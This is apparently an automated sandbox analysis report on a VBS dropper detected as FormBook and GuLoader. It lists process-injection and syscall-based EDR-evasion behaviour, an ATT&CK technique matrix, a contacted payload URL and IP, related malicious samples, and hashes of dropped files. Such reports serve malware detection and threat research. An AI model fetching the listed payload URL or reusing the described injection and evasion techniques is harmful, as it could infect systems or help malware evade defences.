Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D744A8 mov eax, dword ptr fs:[00000030h]	3_2_32D744A8
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4D454 mov eax, dword ptr fs:[00000030h]	3_2_32D4D454
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4D454 mov eax, dword ptr fs:[00000030h]	3_2_32D4D454
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4D454 mov eax, dword ptr fs:[00000030h]	3_2_32D4D454
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4D454 mov eax, dword ptr fs:[00000030h]	3_2_32D4D454
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4D454 mov eax, dword ptr fs:[00000030h]	3_2_32D4D454
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D4D454 mov eax, dword ptr fs:[00000030h]	3_2_32D4D454
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32E0A464 mov eax, dword ptr fs:[00000030h]	3_2_32E0A464
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7D450 mov eax, dword ptr fs:[00000030h]	3_2_32D7D450
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7D450 mov eax, dword ptr fs:[00000030h]	3_2_32D7D450
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6E45E mov eax, dword ptr fs:[00000030h]	3_2_32D6E45E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6E45E mov eax, dword ptr fs:[00000030h]	3_2_32D6E45E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6E45E mov eax, dword ptr fs:[00000030h]	3_2_32D6E45E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6E45E mov eax, dword ptr fs:[00000030h]	3_2_32D6E45E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D6E45E mov eax, dword ptr fs:[00000030h]	3_2_32D6E45E
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50445 mov eax, dword ptr fs:[00000030h]	3_2_32D50445
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50445 mov eax, dword ptr fs:[00000030h]	3_2_32D50445
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50445 mov eax, dword ptr fs:[00000030h]	3_2_32D50445
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50445 mov eax, dword ptr fs:[00000030h]	3_2_32D50445
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50445 mov eax, dword ptr fs:[00000030h]	3_2_32D50445
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D50445 mov eax, dword ptr fs:[00000030h]	3_2_32D50445
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D48470 mov eax, dword ptr fs:[00000030h]	3_2_32D48470
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D48470 mov eax, dword ptr fs:[00000030h]	3_2_32D48470
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF478 mov eax, dword ptr fs:[00000030h]	3_2_32DFF478
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DFF409 mov eax, dword ptr fs:[00000030h]	3_2_32DFF409
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3640D mov eax, dword ptr fs:[00000030h]	3_2_32D3640D
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D77425 mov eax, dword ptr fs:[00000030h]	3_2_32D77425
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D77425 mov ecx, dword ptr fs:[00000030h]	3_2_32D77425
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCF42F mov eax, dword ptr fs:[00000030h]	3_2_32DCF42F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCF42F mov eax, dword ptr fs:[00000030h]	3_2_32DCF42F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCF42F mov eax, dword ptr fs:[00000030h]	3_2_32DCF42F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCF42F mov eax, dword ptr fs:[00000030h]	3_2_32DCF42F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DCF42F mov eax, dword ptr fs:[00000030h]	3_2_32DCF42F
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3B420 mov eax, dword ptr fs:[00000030h]	3_2_32D3B420
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32DC9429 mov eax, dword ptr fs:[00000030h]	3_2_32DC9429
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D765D0 mov eax, dword ptr fs:[00000030h]	3_2_32D765D0
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D7C5C6 mov eax, dword ptr fs:[00000030h]	3_2_32D7C5C6
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F5C7 mov eax, dword ptr fs:[00000030h]	3_2_32D3F5C7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F5C7 mov eax, dword ptr fs:[00000030h]	3_2_32D3F5C7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F5C7 mov eax, dword ptr fs:[00000030h]	3_2_32D3F5C7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F5C7 mov eax, dword ptr fs:[00000030h]	3_2_32D3F5C7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F5C7 mov eax, dword ptr fs:[00000030h]	3_2_32D3F5C7
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Code function: 3_2_32D3F5C7 mov eax, dword ptr fs:[00000030h]	3_2_32D3F5C7

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\wscript.exe

File created: temp_executable.exe.0.dr

Jump to dropped file

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x4C11373	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	NtResumeThread: Indirect: 0x32A43E8D	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	NtQueueApcThread: Indirect: 0x32A3F626	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtClose: Direct from: 0x7FFE38E59E7F
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtMapViewOfSection: Direct from: 0x4C09666	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtMapViewOfSection: Direct from: 0x4C096AA	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtProtectVirtualMemory: Direct from: 0x7FFE6B3E2651	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	NtSetContextThread: Indirect: 0x32A4386D	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x4C09745	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtResumeThread: Direct from: 0x4C097BC	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	NtDelayExecution: Direct from: 0x4C0956E	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	NtSuspendThread: Indirect: 0x32A43B7D	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: NULL target: C:\Users\user\AppData\Local\Temp\temp_executable.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmdkey.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Thread register set: target process: 7620			Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Thread register set: target process: 7620			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Thread APC queued: target process: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\temp_executable.exe "C:\Users\user\AppData\Local\Temp\temp_executable.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe	Process created: C:\Users\user\AppData\Local\Temp\temp_executable.exe "C:\Users\user\AppData\Local\Temp\temp_executable.exe"	Jump to behavior
Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\temp_executable.exe

Code function: 2_2_004036D7 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,

2_2_004036D7

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 00000005.00000002.21763322977.0000000003450000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.20223233654.0000000032A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.21763571664.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 00000005.00000002.21763322977.0000000003450000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.20223233654.0000000032A60000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.21763571664.0000000003620000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	1 Native API	121 Scripting	1 Access Token Manipulation	2 Virtualization/Sandbox Evasion	OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	311 Process Injection	1 Access Token Manipulation	LSASS Memory	2 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Abuse Elevation Control Mechanism	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	14 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Zeskanowana lista przedmiot#U00f3w nr 84329.vbs	5%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\temp_executable.exe	8%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://www.quovadis.bm0	0%	Avira URL Cloud	safe
https://ocsp.quovadisoffshore.com0	0%	Avira URL Cloud	safe
http://crl.mU	0%	Avira URL Cloud	safe
https://secretspark.com.bd/TkFvuYGGiJLZuopqvpi7.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
secretspark.com.bd	170.249.236.53	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://secretspark.com.bd/TkFvuYGGiJLZuopqvpi7.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.quovadis.bm0	temp_executable.exe, 00000003.00000002.20212018694.0000000002512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com0	temp_executable.exe, 00000003.00000002.20212018694.0000000002512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.mU	temp_executable.exe, 00000003.00000002.20212018694.0000000002512000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
170.249.236.53	secretspark.com.bd	United States		63410	PRIVATESYSTEMSUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518414
Start date and time:	2024-09-25 17:17:47 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Zeskanowana lista przedmiot#U00f3w nr 84329.vbs
Detection:	MAL
Classification:	mal100.troj.evad.winVBS@7/11@1/1
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 81% Number of executed functions: 54 Number of non-executed functions: 327
Cookbook Comments:	Found application associated with file extension: .vbs Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Zeskanowana lista przedmiot#U00f3w nr 84329.vbs

Simulations

Behavior and APIs

Time	Type	Description
11:21:25	API Interceptor	11555960x Sleep call for process: cmdkey.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
170.249.236.53	Gescanntes Artikelliste_Bestellnummer 25477.vbs	Get hash	malicious	FormBook, GuLoader	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
secretspark.com.bd	Gescanntes Artikelliste_Bestellnummer 25477.vbs	Get hash	malicious	FormBook, GuLoader	Browse	170.249.236.53

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PRIVATESYSTEMSUS	Gescanntes Artikelliste_Bestellnummer 25477.vbs	Get hash	malicious	FormBook, GuLoader	Browse	170.249.236.53
	https://catch35.com/	Get hash	malicious	Unknown	Browse	162.246.59.110
	https://www.isobuster.com/dl.php?d=isobuster.com&v=3&l=0	Get hash	malicious	Unknown	Browse	104.193.109.63
	firmware.armv4l.elf	Get hash	malicious	Unknown	Browse	192.196.159.200
	firmware.armv5l.elf	Get hash	malicious	Unknown	Browse	192.196.159.200
	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	170.249.206.146
	NEW.P.ORDER .ENQUIRY56433.PDF.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	170.249.217.170
	https://content.app-us1.com/LedEn/2024/08/03/19c502f2-d7fc-4021-b067-e9b1cf078dac.pdf	Get hash	malicious	HTMLPhisher	Browse	158.106.129.201
	b2bXo6vmDm.exe	Get hash	malicious	SystemBC	Browse	158.106.138.119
	93g0DCqh1e.elf	Get hash	malicious	Mirai	Browse	162.255.160.105

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	170.249.236.53
	file.exe	Get hash	malicious	LummaC, Vidar	Browse	170.249.236.53
	SDWLLRJcsY.exe	Get hash	malicious	Remcos, GuLoader	Browse	170.249.236.53
	D#U00dcZELT#U0130LD#U0130 S#U00d6ZLE#U015eME-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse	170.249.236.53
	cDErPwSuCB.exe	Get hash	malicious	Unknown	Browse	170.249.236.53
	tpq.ps1	Get hash	malicious	Unknown	Browse	170.249.236.53
	Kv1tZKstAC.exe	Get hash	malicious	Unknown	Browse	170.249.236.53
	z65orderrequest.bat.exe	Get hash	malicious	GuLoader, Remcos	Browse	170.249.236.53
	Swift_Copy_401812_301823-30391_#9812_9202938.exe	Get hash	malicious	GuLoader, PureLog Stealer	Browse	170.249.236.53
	117532123_20240925-9_MCZB#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	170.249.236.53

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsfA9D2.tmp\System.dll	mbdcKkZ3Ag.exe	Get hash	malicious	GuLoader	Browse
	mbdcKkZ3Ag.exe	Get hash	malicious	GuLoader	Browse
	mydreamudpate.hta	Get hash	malicious	Cobalt Strike, GuLoader	Browse
	Thermo Fisher RFQ_TFS-1507.xls	Get hash	malicious	GuLoader	Browse
	BCXV7eBAlV.exe	Get hash	malicious	GuLoader	Browse
	W9RpT8yapE.hta	Get hash	malicious	Cobalt Strike, GuLoader	Browse
	BCXV7eBAlV.exe	Get hash	malicious	GuLoader	Browse
	AWB 9869692024 Clearance Doc.exe	Get hash	malicious	Remcos, GuLoader	Browse
	AWB 9869692024 Clearance Doc.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Akre.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	417
Entropy (8bit):	4.274706417309361
Encrypted:	false
SSDEEP:	12:7MHAjnXdcHoZQT/D2SmyDL0MXCWj6nKAdUqVM2KT5O4/K:7MgTtJm/D5TRXCWj6KeM5k
MD5:	378A24843EDB12C44215291AF484EE67
SHA1:	B4DED39F643CBC9520824C38BAC8D0F6059EE7C5
SHA-256:	319E0E8A595D2D1135C32AD2027F15B214B5828743104F6BA0032A0BA2102F35
SHA-512:	D2AC03123DA17450B86F83EB6785DAEDF799579A15D8478FDCCBBE846D95CE56BB4C86DE9F1991715E12DFD97D4F83D11035C64F0720B5C407E60CD445A34C9C
Malicious:	false
Reputation:	low
Preview:	skied oeillet mortalities.afstdningerne fustily gullibility udkrer fatalisters chapelmaster.trkningsrettigheders proletariserer whitecapping skifters clearers piprinae unfusibness erne munity spairge bella..depoters stonily dvrgeflok unprejudicial.besmudses jocker extremism forhoret thermit trforarbejdning.ribgrasses polyaemic closish lixene gunvers sprjtelakeringers speeling growler laurotetanine unsectarianize..

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Consociation.Bal

Download File

Process:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	432938
Entropy (8bit):	2.6512332223770243
Encrypted:	false
SSDEEP:	1536:etn0nQdlo4kvAtpfP9aed6J+pq24l7m3cKDMxWwUnhrGyTMZvbQAsLLGRhSFdID1:gu2/9nsMMTnes2JVtjLFqc13L9XA
MD5:	5D24DAE263529341D2F078186AD22099
SHA1:	7A57D1132640DB3482AB3695199DA716432AE5C3
SHA-256:	52B052B70FE669D4A7E5539E38DE5F1CC27643C3E9E3B2534B181239FA9D81D8
SHA-512:	5669BB21C1CD95DA1FFDA960EFA87B1F9E388D4399F74C0024FF6DB7623B1185B1B1186C4F2925A7B9F936EC5503EB39F9939CD3B2EE54E7BBAEE12773CCA8E4
Malicious:	false
Reputation:	low
Preview:	00E7000000000000000000310000F5009797003C3C3C3C000000009E002F2F000000000000838300818181810000C3C300F9F9F9F9F9000086860000009F9F000000E20021005B006A006C000000CA00003030300012003434006800282800010000450000636363003B000C0C0C001515000000DCDC0000000000E1E1E1E1E10000003000000000008D8D000000D600380000000066000000E7E700009D00AD00E400000000700072727272727272002A2A2A00BDBD0043430000560036363636002E000071717171000200009C0000181818181818181818181800000000C2000000A80000AE00230000999900D20000AA0066666666660000C700A6A6A60000000000000000000000000000000B007C009500E3003C3C3C3C000000F9F9004B000000000000CD000500007C00000000A600C9C9000035000909006161000067000000000C0C00F9004100C100C100009C9C9C9C00BDBD0000BB002828003C3C000030300000DC00BB007500515151001D00C4009797000000009A9A00430000C3C300DBDB0000000000000C00E2E2E2E200F60000ECECEC001D00E200FC00151515003100D300001000A0A000E6E600000000FDFD009191000096000000000000000000000A00000000EAEA00000000000017005959001F1F003A00FB00002800960000AD00D1D100E4E4E400000E00868600

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Elvi.jud

Download File

Process:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
File Type:	data
Category:	dropped
Size (bytes):	213490
Entropy (8bit):	7.539520753048367
Encrypted:	false
SSDEEP:	6144:TejneZDOvhWjwEqg8T+a4PKtH9t6vqcG/Zgypl:Ci8vAj5aLY+76ycN2
MD5:	A80B7D073152513AB1FB5BA43502B497
SHA1:	9B8735FE1B2FBFDC6A1408F07204EC4B952C54D4
SHA-256:	311EFC86FA1DE90700448135CE390AF44777E0AF9571DB610624162CD9E98639
SHA-512:	27FA195D2DFA2DCA849B58F7979DBC2421ECDB3D1F0BC8325E60DBBB69CF60FB62D254C3689AFCC07067AA29B863A17C96A19C66FBD8A1C178DB0C9D4839B360
Malicious:	false
Preview:	..aa.....S...........22...........2...................................>>........'....o............. .......................:.........`......>>>>>..ee..[.~.88.....................................................g.99.VV.''''......3....I......zzz......f..........h................aaa..........T........z.`.......F.............ssss..........p.......................]]...f.............EE.....^.m...*....>...N......$$$$.......\|\|...........L..cc....}}}}.p.........`..@.JJJJJJJ.....^.......).......................................^^^..........................YY...T....RRR...g.....W........................4444......g..........<<<<<..............._..............DD.................................L. ...D.\|\|.v....................................r....................u............::.3...j....qqq............O....................;...................NN......c.................999......VV..~.2222............A......vv...............XX.BB.P.....f.....$$$$$.p.........PP...UUU..$$.........zz...................

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Syndicship.que

Download File

Process:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
File Type:	Matlab v4 mat-file (little endian) \303, numeric, rows 0, columns 0
Category:	dropped
Size (bytes):	445365
Entropy (8bit):	1.2531729362980937
Encrypted:	false
SSDEEP:	1536:Cz29hF2g6bysiKqtRjiEfCJbAyqaBPOPmkc9K:M4AA1Tjv48+Gx
MD5:	4E4F70B2CEA5AC857D3050A4E21F6832
SHA1:	E46EE1C0F65E8245A045E599656E7757CD6984C8
SHA-256:	BFE411D37145804B07CA1447AA79692CAB7DBF29084A1807B645B7947BC71C96
SHA-512:	ADB8200F06E7DFF9BA34017865A3951471E32778EDAC3841BB598CB4E5A2A1E6B91D6CD8EFCF127B2486E53AD466B76CCE4B0563FE6D8D348B22EC0E79E0E726
Malicious:	false
Preview:	..................................................U......................................................................................................................'....................................................L.............................................................:..@..................q........Y......................................7}...............................................3...............................................................................................=.......................&............m.Z................A.......................................................P.......................................................................................v........<`............................................................q.............+.......t...........\|..9......Q..9.......................................................0..................7..........................................................................................................

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic\gennemsynenes.jal

Download File

Process:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
File Type:	data
Category:	dropped
Size (bytes):	335577
Entropy (8bit):	1.2535113458554008
Encrypted:	false
SSDEEP:	1536:GruBqYqvmx037bWZiy1+1Z02AdwwS/21ujY60Y:WqqYqvyCWC02eUR
MD5:	483D45AD053613D0866F1BFA1ADD2CC1
SHA1:	B07481BF677FA9E9BAAD80F3AC6A96D03DADB056
SHA-256:	F133E0B6BB313AC42AA7DE46CCA592289413FA3D6EB7757894C139059799B95D
SHA-512:	E72575F2A3C59A77DF2C05F124E4662ABED3C6F63B2A815306AB6759BA989B0DB9BEF161D0CBC2D6BAF69E3456C2E67F474079BA8053F833B800C952416BB965
Malicious:	false
Preview:	..........................................................................N..................t.....P..../..(................................k.J..................,....=.........................p.................'............................t............................4.................6.............O...................................p...............................................y...................................................................i........................2...................0......+........................................................C..............................................7............................................%................5......................."..U....Y............................-........v......b.......................................................4...+.6...............>.................................................................................................................. .................................r.........N.......-.x....

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic\metronomic.bee

Download File

Process:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
File Type:	data
Category:	dropped
Size (bytes):	300328
Entropy (8bit):	1.2422311481187949
Encrypted:	false
SSDEEP:	768:JQz4Z/a8KR85+UI1fuw3jm2+TDHwfg/fd1rmKk6MJalXXIkre458MpDLwvYzuMqz:e8KvSPbXBvp8AS2TZ96JmAh
MD5:	F57039F8803F4EB89D3FCDA8DCC73F68
SHA1:	539021FE70AA56B90B3C51A8C736B4823C29C178
SHA-256:	5EFA3FF183AFBD47121C35430E18346712B28A4B503F43B10051996C26857D8A
SHA-512:	F1AF0F61A7F4FEAB932788A4CF4A0345994CF8F65E450AD40C89D067F14FE236478D843559FAE5E6175636D44BB669F8224B2DFAC6345ACC2E1B208C23FA73C5
Malicious:	false
Preview:	...5....................................../.........................................................................$..........................................................G.................................E..................................V....Y......................"....F.......................................................u..........................>................Y....................................................r.......................G.......=.......[..........................8..................................B..............................................................7...........................E....P......h..........................................B........z......................................................s..........C........o.....................................p....../........................................................................................)................B....................................................................................C.

C:\Users\user\AppData\Local\Temp\identitetsproblemer\Mercerising\Trichoschistic\nontruancy.far

Download File

Process:	C:\Users\user\AppData\Local\Temp\temp_executable.exe
File Type:	data
Category:	dropped
Size (bytes):	14991
Entropy (8bit):	1.2730906934586605
Encrypted:	false
